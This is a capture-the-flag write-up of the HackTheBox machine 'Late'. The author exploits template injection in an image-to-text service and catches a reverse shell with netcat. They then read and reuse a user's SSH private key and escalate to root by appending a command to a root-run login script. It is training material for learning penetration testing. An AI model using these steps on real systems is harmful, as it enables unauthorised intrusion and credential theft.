Walk-through of Late from HackTheBox
Machine Information
Late is rated as an easy machine on HackTheBox. The path to root is fairly simple on this box, but with a tricky to get right section where we need to create an image that is read via OCR to text. We take advantage of an SSTI vulnerability on the website on the box to get remote code execution which gives us a shell. From there we find a script is run every time an SSH login is detected, and we take advantage of an append attribute to get code execution as root and complete the box.
Skills required are knowledge of server side template injections (SSTI) and enumerating to find vulnerabilities. Skills learned are image manipulation using ImageMagick and taking advantage of misconfigured attributes on files.
Details | |
---|---|
Hosting Site | HackTheBox |
Link To Machine | HTB - Easy - Late |
Machine Release Date | 23rd April 2022 |
Date I Completed It | 26th April 2022 |
Distribution Used | Kali 2022.1 – Release Info |
Initial Recon
As always let’s start with Nmap:
┌──(root㉿kali)-[~/htb/late]
└─# ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.156 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
┌──(root㉿kali)-[~/htb/late]
└─# nmap -p$ports -sC -sV -oA late 10.10.11.156
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-24 21:54 BST
Nmap scan report for 10.10.11.156
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
| 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.50 seconds
Website
Only port 80 to look at for now:
Nothing here, just a single static page with information about an online image editor. Further down there is a link to images.late.htb and at the bottom there’s an email address with late.htb, let’s add these to our host file:
┌──(root㉿kali)-[~/htb/late]
└─# echo "10.10.11.156 late.htb images.late.htb" >> /etc/hosts
Now we can look at the images sub-domain:
ImageMagick
The only thing we can do here is upload an image and the Flask app converts it to text and returns it as a file. Let’s test it using the ImageMagick convert utility to create our image:
┌──(root㉿kali)-[~/htb/late]
└─# convert
Command 'convert' not found, but can be installed with:
apt install graphicsmagick-imagemagick-compat
Do you want to install it? (N/y)y
apt install graphicsmagick-imagemagick-compat
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
ghostscript graphicsmagick gsfonts libgraphicsmagick-q16-3 libwmf-0.2-7 libwmf0.2-7 libwmflite-0.2-7
The following NEW packages will be installed:
ghostscript graphicsmagick graphicsmagick-imagemagick-compat gsfonts libgraphicsmagick-q16-3 libwmf-0.2-7 libwmflite-0.2-7
1 upgraded, 7 newly installed, 0 to remove and 150 not upgraded.
Need to get 5,692 kB of archives.
After this operation, 13.8 MB of additional disk space will be used.
Do you want to continue? [Y/n] y
<SNIP>
Setting up libgraphicsmagick-q16-3 (1.4+really1.3.38-1) ...
Setting up libwmf0.2-7:amd64 (0.2.12-5) ...
Setting up graphicsmagick (1.4+really1.3.38-1) ...
Setting up graphicsmagick-imagemagick-compat (1.4+really1.3.38-1) ...
Processing triggers for man-db (2.10.2-1) ...
Processing triggers for mailcap (3.70+nmu1) ...
Processing triggers for fontconfig (2.13.1-4.4) ...
Processing triggers for kali-menu (2021.4.2) ...
Processing triggers for libc-bin (2.33-6) ...
With that installed let’s do a simple test:
┌──(root㉿kali)-[~/htb/late]
└─# convert -size 300x100 xc:white -font Arial -pointsize 30 -fill black -gravity center -draw "text 0,0 'Hello from pencer.io'" image.png
That creates a simple image with our text on it:
Go back to the images site and upload our picture. Click the Scan Image button and save the results.txt file then have a look at it’s contents:
┌──(root㉿kali)-[~/htb/late]
└─# cat /home/kali/Downloads/results.txt
<p>Hello from pencer.io
</p>
SSTI
Now we need to find a way to exploit it, and first thing I tried worked so that was nice and simple, or maybe just lucky! This flask app is vulnerable to server side template injections (SSTI). We covered this on Bolt and also Nunchucks. SSTI is well documented, with a lot of info here on the HackTricks site.
This is an interesting variation but the principle is the same. We can test for SSTI with a simple sum, if it’s vulnerable we get the result of the sum returned. Let’s create our payload image:
When the Flask app converts that image to text we should get the result of 10*10. Let’s test it by uploading that image on the site, clicking the Scan Image button and saving the results.txt file.
Looking at the result we see we have the answer of 10*10, so we know this is vulnerable:
┌──(root㉿kali)-[~/htb/late]
└─# cat results.txt
<p>100
</p>
Reverse Shell
We can use this to leak data or execute commands remotely. I spent way too long on this next bit, mostly because I couldn’t get the OCR of the Flask app to read my image correctly. In the end I got this working:
┌──(root㉿kali)-[~/htb/late]
└─# convert -size 3200x100 xc:white -font Courier -pointsize 30 -fill black -gravity center -draw "text 0,0 ''" image.png
So like before I’m creating an image with my text, I’ve used the builtin in function to execute a command, and I’ve passed a standard reverse shell to it. The resulting image looks like this:
Start netcat listening to catch the shell:
┌──(root㉿kali)-[~/htb/late]
└─# nc -nlvp 1337
listening on [any] 1337 ...
Back to the images site, upload our new file, click on Scan Image button. If it works you will catch the shell:
┌──(root㉿kali)-[~/htb/late]
└─# nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.10.14.158] from (UNKNOWN) [10.10.11.156] 39690
svc_acc@late:~/app$
Check who we are:
svc_acc@late:~/app$ id
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
User Flag
Grab the user flag:
svc_acc@late:~/app$ ls -ls /home
4 drwxr-xr-x 7 svc_acc svc_acc 4096 Apr 7 13:51 svc_acc
svc_acc@late:~/app$ cd /home/svc_acc
svc_acc@late:~$ ls -lsa
4 drwxrwxr-x 7 svc_acc svc_acc 4096 Apr 4 13:28 app
0 lrwxrwxrwx 1 svc_acc svc_acc 9 Jan 16 18:45 .bash_history -> /dev/null
4 -rw-r--r-- 1 svc_acc svc_acc 3771 Apr 4 2018 .bashrc
4 drwx------ 3 svc_acc svc_acc 4096 Apr 7 13:51 .cache
4 drwx------ 3 svc_acc svc_acc 4096 Jan 5 10:45 .gnupg
4 drwxrwxr-x 5 svc_acc svc_acc 4096 Jan 5 12:13 .local
4 -rw-r--r-- 1 svc_acc svc_acc 807 Apr 4 2018 .profile
4 drwx------ 2 svc_acc svc_acc 4096 Apr 7 11:08 .ssh
4 -rw-r----- 1 root svc_acc 33 Apr 25 13:34 user.txt
svc_acc@late:~$ cat user.txt
fe6539ca01a7245dde79f192ec1130b7
I noticed the .ssh folder, inside there’s a key pair:
svc_acc@late:~$ ls -lsa .ssh
4 -rw-rw-r-- 1 svc_acc svc_acc 394 Apr 7 11:08 authorized_keys
4 -rw------- 1 svc_acc svc_acc 1679 Apr 7 11:08 id_rsa
4 -rw-r--r-- 1 svc_acc svc_acc 394 Apr 7 11:08 id_rsa.pub
SSH Private Key
Grab the private key and we can drop out of this temporary shell and login via SSH:
svc_acc@late:~$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
<SNIP>
kr9wto1mp58wuhjdntid59qH+8edIUo4ffeVxRM7tSsFokHAvzpdTH8Xl1864CI+
Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL
K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----
I just copy and pasted that in to a file on Kali and changed its permissions to 600:
┌──(root㉿kali)-[~/htb/late]
└─# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi
/mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7
<SNIP>
Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL
K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----
┌──(root㉿kali)-[~/htb/late]
└─# chmod 600 id_rsa
Now let’s log back in to a proper shell:
┌──(root㉿kali)-[~/htb/late]
└─# ssh -i id_rsa svc_acc@late.htb
svc_acc@late:~$
LinPEAS
I grabbed LinPEAS and copied it over:
┌──(root㉿kali)-[~/htb/late]
└─# scp -i id_rsa linpeas.sh svc_acc@late.htb:~/
linpeas.sh 100% 758KB 1.0MB/s 00:00
There’s one interesting thing spotted by linPEAS:
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/usr/local/sbin/ssh-alert.sh
╔══════════╣ .sh files in path
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
You own the script: /usr/local/sbin/ssh-alert.sh
What is this script then I wonder:
svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
It’s a script that sends an email to root@late.htb when an ssh logon is detected.
Pspy64
We can see it’s being executed by root if we have a look with pspy64. Copy pspy over to the box:
┌──(root㉿kali)-[~/htb/late]
└─# scp -i id_rsa pspy64 svc_acc@late.htb:~/
pspy64 100% 3006KB 502.7KB/s 00:05
Make pspy64 executable and then run it:
svc_acc@late:~$ chmod +x pspy64
svc_acc@late:~$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false |||
Scannning for processes every 100ms and on inotify events |||
Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP>
2022/04/26 21:02:01 CMD: UID=0 PID=2344 | cp /root/scripts/ssh-alert.sh /usr/local/sbin/ssh-alert.sh
2022/04/26 21:02:01 CMD: UID=0 PID=2346 | chown svc_acc:svc_acc /usr/local/sbin/ssh-alert.sh
2022/04/26 21:02:01 CMD: UID=0 PID=2347 | rm -r /home/svc_acc/app/uploads/*
2022/04/26 21:02:01 CMD: UID=0 PID=2349 | chattr +a /usr/local/sbin/ssh-alert.sh
2022/04/26 21:03:01 CMD: UID=0 PID=2352 | /bin/bash /root/scripts/cron.sh
2022/04/26 21:03:01 CMD: UID=0 PID=2351 | /bin/sh -c /root/scripts/cron.sh
2022/04/26 21:03:01 CMD: UID=0 PID=2350 | /usr/sbin/CRON -f
2022/04/26 21:03:01 CMD: UID=0 PID=2355 |
2022/04/26 21:03:01 CMD: UID=0 PID=2357 | chown svc_acc:svc_acc /usr/local/sbin/ssh-alert.sh
2022/04/26 21:03:01 CMD: UID=0 PID=2359 | rm -r /home/svc_acc/app/misc/*
2022/04/26 21:03:01 CMD: UID=0 PID=2360 | chattr +a /usr/local/sbin/ssh-alert.sh
Root Flag
We can see the ssh-alert.sh script is copied from a root folder and the attributes are changed. This is happening regularly so it’s safe to assume we need to find a way of manipulating the file. The chattr +a command that’s run on it is setting the append attribute. This is a useful tutorial but it’s simple enough.
Check attributes with lsattr:
svc_acc@late:~$ lsattr -a /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh
Confirms it has a lowercase a set which means we can append to the file. We can echo something in to that file like this:
svc_acc@late:~$ echo "cp /root/root.txt /dev/shm/root.txt; chmod 777 /dev/shm/root.txt" >> /usr/local/sbin/ssh-alert.sh
Here I’m copying the root flag to a temporary area and changing permissions so I can read it as a user. Now I can log in to a new SSH session, the script is run and the flag is copied so I can read it:
┌──(root㉿kali)-[~/htb/late]
└─# ssh -i id_rsa svc_acc@late.htb
svc_acc@late:~$ ls -lsa /dev/shm
4 -rwxrwxrwx 1 root root 33 Apr 26 21:08 root.txt
svc_acc@late:~$ cat /dev/shm/root.txt
f98a55d412b6b72a64a84194764f9196
All done. That was a simple box once I got the OCR working. See you next time.
Comments